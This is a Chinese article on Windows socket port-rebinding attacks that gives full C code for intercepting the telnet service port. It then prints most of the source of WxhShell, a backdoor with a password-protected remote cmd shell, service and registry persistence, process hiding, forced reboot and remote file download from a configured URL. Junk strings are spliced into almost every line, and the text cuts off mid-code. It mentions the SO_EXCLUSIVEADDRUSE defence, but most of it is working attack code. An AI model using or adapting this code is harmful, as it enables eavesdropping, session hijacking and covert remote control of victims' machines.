在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
$J"}7+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
CT+pkNC jJdw\` saddr.sin_family = AF_INET;
7].tt a97A{7I& saddr.sin_addr.s_addr = htonl(INADDR_ANY);
[_*% PeEf=3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:]iV*zo_ *i|O!h1St 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
s`GwRH<# *2N$l>ql:k 这意味着什么?意味着可以进行如下的攻击:
\gaGTc2& Ug*:o d 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
YQe9g>G& Rd|};- 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
GV#"2{t
j O&!>C7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
S~0 mY}
m +Rn]6}5m\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
YbB8D- J5h;~l!y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
-twV?~f .9{Sr[P 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
[U@#whE O r7o63] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
G/>upnA{w Zc(uK{3W- #include
wG6>.`: #include
_Z z"` #include
Z12-Vps #include
W(a31d DWORD WINAPI ClientThread(LPVOID lpParam);
`VY -3 int main()
hz{=@jX {
~K]5`(KV WORD wVersionRequested;
z[Xs=S!]I DWORD ret;
E9TWLB5A)( WSADATA wsaData;
P,lKa. BOOL val;
| YmQO#'' SOCKADDR_IN saddr;
<x@brXA SOCKADDR_IN scaddr;
fBBNP) int err;
7.-Q9xv SOCKET s;
f{MXH&d 1\ SOCKET sc;
,<s'/8Ik int caddsize;
[t/7hx"2t HANDLE mt;
AeR3wua DWORD tid;
ce-5XqzY@ wVersionRequested = MAKEWORD( 2, 2 );
|1C=Ow*" err = WSAStartup( wVersionRequested, &wsaData );
VCfa<hn if ( err != 0 ) {
U|VFzpJ printf("error!WSAStartup failed!\n");
rdZk2\< return -1;
)!J0e-T-8O }
$K>'aI;| saddr.sin_family = AF_INET;
Y ]&D;w swV/Mi> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
{^zieP! Y5e6|b| saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
p'z
fo! saddr.sin_port = htons(23);
0)n#$d> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Tl"GOpH\] {
m [7@l printf("error!socket failed!\n");
}@%A@A{R return -1;
>5-z"f }
G6wBZ?)k val = TRUE;
!j[Oyr| //SO_REUSEADDR选项就是可以实现端口重绑定的
h}r64<Y2{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?4v&TB@ {
Jk=E"I6 printf("error!setsockopt failed!\n");
:E'uV"j% return -1;
N
GP}Z4 }
9nF;$HB //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
DU(QQ53 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
fvnj:3RK //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
}tue`">h `Mx&,;x if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
at"-X ?`d {
A3D"b9<D ret=GetLastError();
<nDuN*| printf("error!bind failed!\n");
@H[)U/. return -1;
.`qw8e}y#' }
5%M 'ewu listen(s,2);
@9S3u#vP while(1)
5Y77g[AX2- {
VBV y3fnj caddsize = sizeof(scaddr);
W&>ONo6ki //接受连接请求
@%Y$@Qb{ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Y&M}3H>E if(sc!=INVALID_SOCKET)
fui;F"+1 {
{jB& e, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Mg3>/! if(mt==NULL)
2;X{ZLo {
b.HfxYt( printf("Thread Creat Failed!\n");
&("HH"! break;
D >ax<t1K }
Hw[(v[v }
t* eZe`| CloseHandle(mt);
rC
)pCC }
/4x3dwXW@ closesocket(s);
}!-BZIOlO WSACleanup();
V*]cF=W[A return 0;
nGb%mlb }
h# R;'9*V DWORD WINAPI ClientThread(LPVOID lpParam)
j$v2_q {
^APPWQUl SOCKET ss = (SOCKET)lpParam;
\$; Q3t3 SOCKET sc;
@hC ,J unsigned char buf[4096];
M.B0) SOCKADDR_IN saddr;
'?7?"v long num;
f Cg"tckE DWORD val;
8K(3{\J[V DWORD ret;
[!Uzw2 //如果是隐藏端口应用的话,可以在此处加一些判断
vb^/DMhz //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
i$`OOV=/e saddr.sin_family = AF_INET;
G&ZpQ) saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
?[<C,w~$` saddr.sin_port = htons(23);
P]V/<8o.53 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
YT:])[gVV {
q6E8^7RtS@ printf("error!socket failed!\n");
e'%"G{(D return -1;
PEA<H0 }
_19x`J3 val = 100;
j;%RV)e if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%&EDh2w> {
)X-~+X91S ret = GetLastError();
.FV
wZ:d return -1;
t<sy7e=' }
S#gIfb<D if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!l2=J/LJj {
J*4byu| ret = GetLastError();
}M_Yn0(3 return -1;
C|"BMam }
*WS'C}T if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
4n1-@qTPF~ {
O [Q;[@ printf("error!socket connect failed!\n");
o0SQJ1.a$ closesocket(sc);
^uZ!e+ closesocket(ss);
g$=y#<2? return -1;
8Ter]0M& }
Hz A+Oi while(1)
BEU^,r3z {
y9<]F6TT //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
<$m=@@qg //如果是嗅探内容的话,可以再此处进行内容分析和记录
HI+87f_Q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
c{7<z9U num = recv(ss,buf,4096,0);
DdAs]e|D[ if(num>0)
[}p/pj= send(sc,buf,num,0);
e* 2ay1c else if(num==0)
wO\,?SI4 break;
s+mNr3 num = recv(sc,buf,4096,0);
t?bc$,S"\( if(num>0)
y~ubH{O# send(ss,buf,num,0);
-v]vm3Na else if(num==0)
F|Y}X|x8Q break;
<qGVOAnz+ }
ChVur{jR closesocket(ss);
1rhEk|pGZ closesocket(sc);
:i{$p00
G return 0 ;
xw1@&QwM }
zpPzXQv]/ i^Ba?r;* }Z^r<-N ==========================================================
4[q'1N6- ^Ob#B!= 下边附上一个代码,,WXhSHELL
3WH"NC-O< (t^&L ==========================================================
!%v=9muay xRTr<j0s #include "stdafx.h"
QtF'x<cB W_]Su #include <stdio.h>
52RFB!Z[ #include <string.h>
D4';QCwo #include <windows.h>
WnATgY t #include <winsock2.h>
u+U '|6)E #include <winsvc.h>
h ~\bJ*Zp #include <urlmon.h>
]g}Tqf/N% kaKV{;UM #pragma comment (lib, "Ws2_32.lib")
ux8: #pragma comment (lib, "urlmon.lib")
HTpoYxn( ^M51@sXI7 #define MAX_USER 100 // 最大客户端连接数
I $5*Puy# #define BUF_SOCK 200 // sock buffer
IUK!b2!` #define KEY_BUFF 255 // 输入 buffer
BkZmE, 1m$< %t.> #define REBOOT 0 // 重启
C`)n\?:Sth #define SHUTDOWN 1 // 关机
f;Cu@z{b Kz v*` #define DEF_PORT 5000 // 监听端口
sg=mkkD!g gWqO5C~h #define REG_LEN 16 // 注册表键长度
fF~3"!1#\I #define SVC_LEN 80 // NT服务名长度
E~k_4z%M ;t^8lC?>V // 从dll定义API
x{Gdr51% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
xKol typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Ng;K-WB\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
yP&SA+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
rXortK#\% bU(H2Fv // wxhshell配置信息
l}#z#L2,` struct WSCFG {
Glt%%TJb int ws_port; // 监听端口
$d@_R^]X char ws_passstr[REG_LEN]; // 口令
'Fe1]B"Y int ws_autoins; // 安装标记, 1=yes 0=no
s:4<wmu4= char ws_regname[REG_LEN]; // 注册表键名
hM":?Rx char ws_svcname[REG_LEN]; // 服务名
."8bW^: char ws_svcdisp[SVC_LEN]; // 服务显示名
z}L3// char ws_svcdesc[SVC_LEN]; // 服务描述信息
\5k^zGF4o char ws_passmsg[SVC_LEN]; // 密码输入提示信息
k!%[W,* int ws_downexe; // 下载执行标记, 1=yes 0=no
h3 Bs char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
|fQl0hL char ws_filenam[SVC_LEN]; // 下载后保存的文件名
CB76 /^BaQeH?R };
9PpPAF LTSoo.dE // default Wxhshell configuration
!W^b:qjJ struct WSCFG wscfg={DEF_PORT,
!!WSGZUR "xuhuanlingzhe",
vCPiT2G 1,
<Z8I#IPl "Wxhshell",
;OE= ;\ "Wxhshell",
Cfz020u`g "WxhShell Service",
`0]kRA8= "Wrsky Windows CmdShell Service",
?<Tt1fpG "Please Input Your Password: ",
Do&em8i
z 1,
z x7fRd$ "
http://www.wrsky.com/wxhshell.exe",
~Sr`Tlp "Wxhshell.exe"
ka3(sctZ5 };
)^G&p[G s'4S, // 消息定义模块
4bT21J37 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
%B;e7
UJ char *msg_ws_prompt="\n\r? for help\n\r#>";
[c{/0* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
} s0?RH char *msg_ws_ext="\n\rExit.";
v|VfSLZTb char *msg_ws_end="\n\rQuit.";
xB%Felz char *msg_ws_boot="\n\rReboot...";
"zT#*>U char *msg_ws_poff="\n\rShutdown...";
~6:<OdQ char *msg_ws_down="\n\rSave to ";
q.
%[!O sQBl9E'!be char *msg_ws_err="\n\rErr!";
yAge2m]<B char *msg_ws_ok="\n\rOK!";
rPk=9I |_=o0lf char ExeFile[MAX_PATH];
q- U/JC int nUser = 0;
D"5u N0Z HANDLE handles[MAX_USER];
oZ)\Ya= int OsIsNt;
E7XFt#P. :d&^//9 SERVICE_STATUS serviceStatus;
,]OL[m SERVICE_STATUS_HANDLE hServiceStatusHandle;
:HDl-8]Lw 1T{A(<:o$ // 函数声明
U1+X!&OCp int Install(void);
Bf&,ACOf int Uninstall(void);
*?k~n9n5U int DownloadFile(char *sURL, SOCKET wsh);
uC_&?
int Boot(int flag);
oGK 1D void HideProc(void);
Cst:5m0! int GetOsVer(void);
S 1%/ee3 int Wxhshell(SOCKET wsl);
pa7Iz^i void TalkWithClient(void *cs);
;8Z\bHQ> int CmdShell(SOCKET sock);
ur'a{BI2R int StartFromService(void);
8P wobln int StartWxhshell(LPSTR lpCmdLine);
'?q \mi ;P` z
?>J: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
D6 2xC5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
OygR5s + jIZpv|t) // 数据结构和表定义
[V\0P,l SERVICE_TABLE_ENTRY DispatchTable[] =
l s(lL\ {
~*Fbs! ;, {wscfg.ws_svcname, NTServiceMain},
/$'R!d5r {NULL, NULL}
ebbC`eFD };
c,$ >u,4 rt\i@} // 自我安装
A4}6hG# int Install(void)
hFDY2Cp]D {
63ig!-9F char svExeFile[MAX_PATH];
kIHfLwh9N
HKEY key;
B&l5yI
b strcpy(svExeFile,ExeFile);
bt=%DMTn hf2Q;n&V // 如果是win9x系统,修改注册表设为自启动
vJX3fE}F if(!OsIsNt) {
Ms^U`P^V~P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:hre|$@{a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
E!d;ym RegCloseKey(key);
Ub=g<MYHV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;rWgt!l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
hXdc5 ?i? RegCloseKey(key);
'F3Xb return 0;
{aP5Mem }
DK 4 8 }
62K7afH }
T{v(B["!$ else {
cmF&1o3_ O_aZ\28};C // 如果是NT以上系统,安装为系统服务
kx8\]' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
}z6@Z#%q if (schSCManager!=0)
;Ut0tm {
<RY5ZP SC_HANDLE schService = CreateService
"']I. (
FI++A` schSCManager,
7?<.L wscfg.ws_svcname,
BYuF$[3ya& wscfg.ws_svcdisp,
]2\|<. SERVICE_ALL_ACCESS,
_]8FCO SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
j#d=V@=a SERVICE_AUTO_START,
{_QXx SERVICE_ERROR_NORMAL,
Gqq%q!k&1 svExeFile,
aOWW..| NULL,
j|"#S4IX)F NULL,
|Fz/9+I NULL,
fH?e9E4l NULL,
5BnO-[3 NULL
]b!o(5m );
B}_*0D if (schService!=0)
t%Hg8oya {
xayo{l=uGv CloseServiceHandle(schService);
wJM})O%SQ CloseServiceHandle(schSCManager);
TUoEk strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
1o\P7PLe strcat(svExeFile,wscfg.ws_svcname);
asqbLtQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
_4F(WC co RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
wYy=Tl-N RegCloseKey(key);
c?B@XIl return 0;
f tW- }
)8]O|Z-CU }
]vRte!QJ; CloseServiceHandle(schSCManager);
d 2sY.L }
JVbR5"+. }
s<VNW @NlE2s6a return 1;
`Yn:fL7S }
cM%I5F+n 3Ob"R%Yo // 自我卸载
vI3L <[W int Uninstall(void)
i"mN0% {
i[1K~yXq: HKEY key;
QcJ?1GwA" =.`(KXT if(!OsIsNt) {
.lnyn|MVb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S]&f+g}&w RegDeleteValue(key,wscfg.ws_regname);
sy`@q<h( RegCloseKey(key);
$sK8l=# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5v6 x RegDeleteValue(key,wscfg.ws_regname);
HwTb753 RegCloseKey(key);
5/Viz`hsz return 0;
/f_w@TR\{ }
3lzjY.]Pgv }
CY~]lQ }
xl [3*K else {
C3q}Dh+] >d-By SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
("0 7t/|| if (schSCManager!=0)
R6l`IlG` {
A;ip
V :) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ZDEz&{3U; if (schService!=0)
=@(&xfTC {
J%ng8v5ex if(DeleteService(schService)!=0) {
4po zTe CloseServiceHandle(schService);
y%%D=" CloseServiceHandle(schSCManager);
{FRUB(68b return 0;
,aOi:aaZRT }
FOJ-?s( CloseServiceHandle(schService);
&?N1-?BjM }
hG~4i:p
< CloseServiceHandle(schSCManager);
d-/{@
}
s2=rj?g&(X }
"(bnr0 YaiogA return 1;
u^.7zL+ }
w#|uR^~ }ie O // 从指定url下载文件
`{w.OK int DownloadFile(char *sURL, SOCKET wsh)
#1fT\aP {
t;005]'Mp HRESULT hr;
)e&U'Fx char seps[]= "/";
n;&08M5an} char *token;
EB R,j_ char *file;
]}7FTMGbY char myURL[MAX_PATH];
ipzv]c& char myFILE[MAX_PATH];
\Ps}1)wT cV]c/*zA strcpy(myURL,sURL);
J>_|hg= token=strtok(myURL,seps);
OpFe=1Q while(token!=NULL)
)CgKZ" {
@BQJKPF* file=token;
x\(@v token=strtok(NULL,seps);
iF]G$@rbU }
We%HdTKT S,ZlS<Z# GetCurrentDirectory(MAX_PATH,myFILE);
MLD1%* &0 strcat(myFILE, "\\");
@bs
YJ4-V strcat(myFILE, file);
@yc/1u$r send(wsh,myFILE,strlen(myFILE),0);
qe. Qjq send(wsh,"...",3,0);
t&scvXh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Fg` P@hC if(hr==S_OK)
"^M/iv( return 0;
0
D^d-R, else
fny|^F]w return 1;
RcJ.=?I! bO 8 >w9MF }
yM* CA,(c G<1)NT\u // 系统电源模块
r~f*aD int Boot(int flag)
/QuuBtp {
&CP0T:h HANDLE hToken;
9$ GAs TOKEN_PRIVILEGES tkp;
q!UN<+k\h 0,a/t
jSr if(OsIsNt) {
=VA5!-6<Uq OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
rl:6N*kK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$D;/b+a tkp.PrivilegeCount = 1;
n^}M*# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
2ed4xhV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
/%qw-v9qPV if(flag==REBOOT) {
E2.@zY|: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
w3,DsEXu return 0;
WFHS8SI }
ng,64(wOY else {
|#OMrP+oi if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
sA^_I6>M" return 0;
j&6O1 }
_6U=7<f }
m.:2G else {
@:2<cn` if(flag==REBOOT) {
:vsBobiJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
|:qaF return 0;
Tt^PiaS! }
XFj\H(D else {
3)D' Yx if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
o`tOnwt return 0;
I`e$U }
+-%&,>R }
VIIBw ucP"<,a return 1;
"6^~-`O }
(w1M\yodV .~3s~y*s // win9x进程隐藏模块
,Z3 (`ftC void HideProc(void)
; JpsRf! {
>JSk/]" NY(z3G HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
5Q/&,NP if ( hKernel != NULL )
HACY {
p*'%<3ml pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Wi;wu* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
)Bz2-|\ FreeLibrary(hKernel);
/5**2Kgv1 }
J&hzr t yW=I*f return;
Q4;%[7LU }
SRP.Mqg9 CIt%7
\c // 获取操作系统版本
1\t# *N int GetOsVer(void)
g$^:2MT"aQ {
X=1Po | OSVERSIONINFO winfo;
pxGDzU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
K3Sa6"U GetVersionEx(&winfo);
bU3P;a( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
`/e
EdqT return 1;
rd
)_*{ else
T'W@fif return 0;
v47S9Vm+ }
UnE[FYx d*B^pDf // 客户端句柄模块
qj.>4d int Wxhshell(SOCKET wsl)
;q"Yz-3 {
Tr6J+hS SOCKET wsh;
vC
[uEx: struct sockaddr_in client;
`)aIFAW DWORD myID;
RV=Z$ If*+yr| while(nUser<MAX_USER)
Z[Z3x6
6 {
7u=R5 int nSize=sizeof(client);
.#OD=wkN0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Yk^clCB{A( if(wsh==INVALID_SOCKET) return 1;
pzcl@ %U
uVD handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
\@8.BCWK if(handles[nUser]==0)
E2nsBP=5C closesocket(wsh);
`;c{E%qeq else
m~f J_ nUser++;
au;ZAXM| }
P}re"<MD WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
! N!A% 0XzrzT"& return 0;
J$>9UCk7B }
i]{-KZC f\vy5'' // 关闭 socket
V4CL%i void CloseIt(SOCKET wsh)
eh6\y79g {
sy(8-zbI closesocket(wsh);
lh]Q\ nUser--;
#*tWhXU ExitThread(0);
+M{A4nYY|1 }
?l/+*/AR; 45(n!"u65 // 客户端请求句柄
P 5_l& void TalkWithClient(void *cs)
*RllKP Y) {
,3,(/%=k t,IQ|B&0 SOCKET wsh=(SOCKET)cs;
xV\mS+#
char pwd[SVC_LEN];
*p.70,5, char cmd[KEY_BUFF];
A>Y#-e;<d char chr[1];
17ol %3 M int i,j;
p02E:? }1BpIqee while (nUser < MAX_USER) {
iebnQf k.6gX<T if(wscfg.ws_passstr) {
"~,3gNTzV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
lBZhg~{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
I=c}6 //ZeroMemory(pwd,KEY_BUFF);
W&s@2y?rF i=0;
"V>p while(i<SVC_LEN) {
(>
VD#n mIYM+2p // 设置超时
2od9Q=v~ fd_set FdRead;
di|5|bn7 struct timeval TimeOut;
nJr:U2d FD_ZERO(&FdRead);
48g`i FD_SET(wsh,&FdRead);
1MYA/l$ TimeOut.tv_sec=8;
`&/~%> TimeOut.tv_usec=0;
PCX X[N int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Rdj/n : if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
bKac?y~S_ RA
ER\9i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
c0.? d] pwd
=chr[0]; ?@iGECll
if(chr[0]==0xd || chr[0]==0xa) { lr~c w#h*
pwd=0; ?Vo/mtbY5X
break; ]S0sjN
} ?5Q_G1H&
i++; Br}0dha3E
} u8N"i),
Xd@_:ds
// 如果是非法用户,关闭 socket "LkI '>3}
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); met`f0jw
} Y<)9TU:D!
rZkl0Y;n\
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5hg
^K^ZZ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wdLlQD
cIB[D.
while(1) { -esq]c%3
Y8@TY?
ZeroMemory(cmd,KEY_BUFF); gK",D^6T*Y
f@aFs]xV
// 自动支持客户端 telnet标准 h$_5)d~
j=0; 6$x9@x8
while(j<KEY_BUFF) { 5$<Ozkj(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~(Xzm
cmd[j]=chr[0]; V:>ZSW4,^
if(chr[0]==0xa || chr[0]==0xd) { ?D9>N'yH8
cmd[j]=0; i$"M'BG
break; WP ~]pduT
} _2wH4^Vb
j++; V}po
} yd~}CF
>A*BRX"4C
// 下载文件 uK5 C-
if(strstr(cmd,"http://")) { !UF(R^
send(wsh,msg_ws_down,strlen(msg_ws_down),0); mb#&yK(h
if(DownloadFile(cmd,wsh)) *jrQ-'<T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +GFK!Pf
else ^M7pCetjdW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Lh`Q"a
} ]~t4E'y)z
else { pGT?=/=*
i+4!nf{K
switch(cmd[0]) { p8|u 0/;k
g;._Q
// 帮助 C~q&
case '?': { c]>LL(R-7)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #8sv*8&
break; B4{clI _i
} `71(wf1q[f
// 安装 O0=}:HM
case 'i': { Fh
U* mAX)
if(Install()) WLA LXJ7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u[+/WFH
else U "kD)\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'l&bg 8K9
break; hVf;{p
&
} #@8JYzMq%
// 卸载 3Ued>8Gv
case 'r': { YAJr@v+Ls
if(Uninstall()) uraT$Q}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xQ~N1Y2W
else 4>}qdR1L4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q&d5V~q
break; CI+@GXY
} -YJ4-]Z
// 显示 wxhshell 所在路径 b1Fd]4H3P
case 'p': { U_61y;Q"
char svExeFile[MAX_PATH]; \+VQoB/
strcpy(svExeFile,"\n\r"); 5rUDRFO6
strcat(svExeFile,ExeFile); F,/yK-9
send(wsh,svExeFile,strlen(svExeFile),0); %(i(Cf8@
break; 1 TA\6a}
} 1`v$R0`!
// 重启 9ELRn@5.
case 'b': { Io\tZXB
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -H9WwFk
if(Boot(REBOOT)) u7}C):@H
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]m@p? A$
else {
iJVm=0WS^
closesocket(wsh); +_v#V9?
ExitThread(0); qJq!0F
} <EM'|IR?
break; 2{I+H'w8:
} }KFM8CbS
// 关机 g ^ 4<ve
case 'd': { +xn59V
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XO,gEn&6V
if(Boot(SHUTDOWN)) tA {?-5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xXfFi5Eom
else { zot_ jSV
closesocket(wsh); $Fik]TbQp
ExitThread(0); ,Uu#41ZOKL
} (8jQdbZU
break; q~G@S2=}0}
} 1rGi"kdf
// 获取shell = @n `5g
case 's': { 1,Ji|&Pwf
CmdShell(wsh); .j^=]3
closesocket(wsh); E%vT(Kz
ExitThread(0); IW5N^J
break; d6+{^v$#
} Zt"3g6S
// 退出 YT\.${N
case 'x': { r"W,G/;h
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aa,^+^J
CloseIt(wsh); dO|n[/qL0
break; |nT+W|0U
} #1<Jwt+
// 离开 IfzZ\x
.
case 'q': { ?i5=sK\
send(wsh,msg_ws_end,strlen(msg_ws_end),0); h[}e5A]}
closesocket(wsh); 8s)(e9Sr
WSACleanup(); t>%+[7?6
exit(1); xay~fD
break; Ae|bAyAK
} j,CVkA*DY
} ^Kfm(E
} 7]lUPLsl
*!&,)''
// 提示信息 @r9[&
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GRj#1OqL
} |eEXCn3{
} f/3rcYR;y
+puF0]TR,i
return; `&5_~4T7
} <-O^ol,fX
-@?4Tfl
// shell模块句柄 .BrYz:#A
int CmdShell(SOCKET sock) 23*OuY
{ NkY7Hg0
STARTUPINFO si; B> V)6\
ZeroMemory(&si,sizeof(si)); w*krPaT3
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N`rz>6,k1
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0W!S.]^1
PROCESS_INFORMATION ProcessInfo; $i"IOp
char cmdline[]="cmd"; h}yfL@
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y:4/06I
return 0; / MV2#P@
} 4'G osQ85
zx`(ojfu
// 自身启动模式 ) $=!e%{
int StartFromService(void) "s.s(TR8
{ Bf8[(oc~
typedef struct )POU58$
{ Uo=_=.GQ
DWORD ExitStatus; /nz J`d
DWORD PebBaseAddress; )UN_,'H/V
DWORD AffinityMask; `*w!S8} m;
DWORD BasePriority; *r].EBJ\
ULONG UniqueProcessId; :?f^D,w_B
